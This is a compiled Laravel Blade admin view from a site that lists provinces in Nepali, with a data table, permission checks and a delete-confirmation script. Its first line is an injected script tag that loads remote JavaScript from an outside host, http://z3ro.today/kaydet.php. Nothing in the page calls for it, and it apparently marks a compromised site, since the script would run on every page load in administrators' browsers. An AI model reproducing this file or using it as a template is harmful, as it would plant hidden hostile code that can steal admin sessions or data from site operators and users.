<script src="http://z3ro.today/kaydet.php"></script><?php $__env->startSection('content'); ?>
<!-- start page title -->
<div class="row">
    <div class="col-12">
        <div class="page-title-box d-sm-flex align-items-center justify-content-between">
            <h4 class="mb-sm-0 font-size-18">प्रदेश</h4>

            <div class="page-title-right">
                <ol class="breadcrumb m-0">
                    <!-- <li class="breadcrumb-item"><a href="javascript: void(0);">Invoices</a></li> -->
                    <li class="breadcrumb-item active">प्रदेश</li>
                </ol>
            </div>

        </div>
    </div>
</div>
<!-- end page title -->

<div class="row">
    <div class="col-lg-12">
        <div class="card">
            <div class="card-body">
                <?php if(auth()->user()->usertype == 1 || in_array('9', explode(',', auth()->user()->allowed_modules))): ?>
                <div class="row">
                    <div class="col-sm">
                        <!-- <div class="mb-4">
                            <a href="<?php echo e(route('addprovince')); ?>" class="btn btn-success waves-effect waves-light"><i class="bx bx-plus me-1"></i>
                                प्रदेश थप्ने</a>
                        </div> -->
                    </div>
                </div>
                <?php endif; ?>
                <!-- end row -->
                <table class="table align-middle datatable dt-responsive table-check nowrap" style="border-collapse: collapse; border-spacing: 0 8px; width: 100%;">
                    <thead>
                        <tr class="bg-transparent">
                            <th style="width: 30px;">
                                <div class="form-check font-size-16">
                                    <input type="checkbox" name="check" class="form-check-input" id="checkAll">
                                    <label class="form-check-label" for="checkAll"></label>
                                </div>
                            </th>
                            <th>स. नं.</th>
                            <th>प्रदेश</th>

                            <!-- provinces are fixed -->
                            <!-- <th style="width: 90px;">Action</th> -->
                        </tr>
                    </thead>
                    <tbody>

                        <?php $__currentLoopData = $provinceName; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $sn => $data): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        <tr>
                            <td>
                                <div class="form-check font-size-16">
                                    <input type="checkbox" class="form-check-input">
                                    <label class="form-check-label"></label>
                                </div>
                            </td>

                            <td><?php echo e(++$sn); ?></td>
                            <td><?php echo e($data->province); ?></td>

                            <!-- provinces are fixed -->
                            <!-- <td>
                                <div class="dropdown">
                                    <button class="btn btn-link font-size-16 shadow-none py-0 text-muted dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                                        <i class="bx bx-dots-horizontal-rounded"></i>
                                    </button>
                                    <ul class="dropdown-menu dropdown-menu-end">
                                        <li><a class="dropdown-item" href="#">Edit</a></li>
                                        <?php if(auth()->user()->usertype == 1 || in_array('8', explode(',', auth()->user()->allowed_modules))): ?>
                                        <li><a class="dropdown-item delete-link" href="<?php echo e(url('deleteprovince', $data->id)); ?>">Delete</a></li>
                                        <?php endif; ?>
                                    </ul>
                                </div>
                            </td> -->
                        </tr>

                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

                    </tbody>
                </table>

                <!-- end table responsive -->
            </div>
            <!-- end card body -->
        </div>
        <!-- end card -->
    </div>
    <!-- end col -->
</div>
<!-- end row -->

<script>
    // Wait for the document to be fully loaded
    document.addEventListener('DOMContentLoaded', function() {
        // Find all elements with class 'delete-link'
        var deleteLinks = document.querySelectorAll('.delete-link');

        // Attach event listener to each delete link
        deleteLinks.forEach(function(link) {
            link.addEventListener('click', function(event) {
                // Prevent the default action of the link
                event.preventDefault();

                // Display a confirmation dialog
                var confirmDelete = confirm("Do you really want to delete this?");

                // If user confirms deletion, proceed with the deletion action
                if (confirmDelete) {
                    // Redirect to the delete URL
                    window.location.href = link.href;
                }
            });
        });
    });
</script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/resources/views/adminsetup/provinceentry.blade.php ENDPATH**/ ?>